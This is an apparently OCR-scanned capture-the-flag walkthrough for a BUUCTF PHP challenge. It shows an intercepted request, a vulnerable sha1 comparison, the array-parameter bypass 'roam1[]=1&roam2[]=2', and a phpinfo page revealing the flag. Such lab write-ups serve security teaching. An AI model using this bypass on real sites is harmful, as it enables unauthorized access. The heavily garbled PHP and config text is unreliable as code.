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/ Request to http://137d5131-c739-4dec-aal2-ced994f58dad.node3.buuoj.cn:80 [111.73.45.58]
| Forward || Drop | | Intercept is on | Action Comment this item W @

Raw | Params | Headers | Hex

>

1 GET / HTTP/1.1

2 Host: 137d5131-c739-4dec-aal2-ced994f58dad.node3.buuoj.cn

3 Cache-Control: max-age=0

4 Upgrade-Insecure-Requests: 1

5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 Accept-Encoding: gzip, deflate

8 Accept-Language: zh-CN,zh;q=0.9

9 Cookie: UM_distinctid=17683c9015216c-0752bc393£7856-6d112d7c-13c680-17683c901531210

10 Connection: close

11

12

¥z  ABEBAPOST, KiAHER, 5218 HIRM:

error_reporting(0);

if ( [ 'REQUEST_METHOD' ] "POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();

} else {

if (lisset( ['roaml']) isset( ['roam2'])){

show_source(__FILE_ );

}
else if ( ["roaml'] ['roam2'] shal( ['roaml']) ['roam2'])){
phpinfo(); // collect information from phpinfo!
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B4 shal() AEEMMZE S, FrifiEpayload:

roaml 1&roam2 2

@) LoadUrl http://137d5131-c739-4dec-aa12-ced994f58dad.node3.buuoj.cn/

* SplitUrl

»  Execute .
Post data (7] Referer (] User Agent (] Cookies Clear ALL

roam1[]=1&roam2[]=2

42 J513 3|3 \**phpinfo()** U :



System

Linux 2bac9cd779fe 4.15.0-128-generic #131-Ubuntu SMP Wed

Build Date

Nov 22 2019 17:25:17

Configure Command

'./configure' '——build=x86_64-linux—gnu' '——with—config—file—pa
scan-dir=/usr/local/etc/php/conf.d' '--enable-option—checking
enable-mbstring' '-—enable-mysqInd' '—-with—password-argonz
sqlite=/usr' '—-with—sqlite3=/usr' '-—with—curl' '——with-libedit' "-
libdir=lib/x86_64-linux—gnu' '-—with-apxs2' '--disable-cgi' 'buil

Server API Apache 2.0 Handler

HWRE 5 2flag:
LANG flag 3/6 A v X
PHP_SHA256 746efeedc38e6Tf7b1ec1432440t5ta801537adf6cd21e4afb3f040¢
FLAG flag{93f96b10-d374-494a-ae42-01bcd268c8a7}
APACHE_PID_FILE /var/run/apache2/apache2.pid
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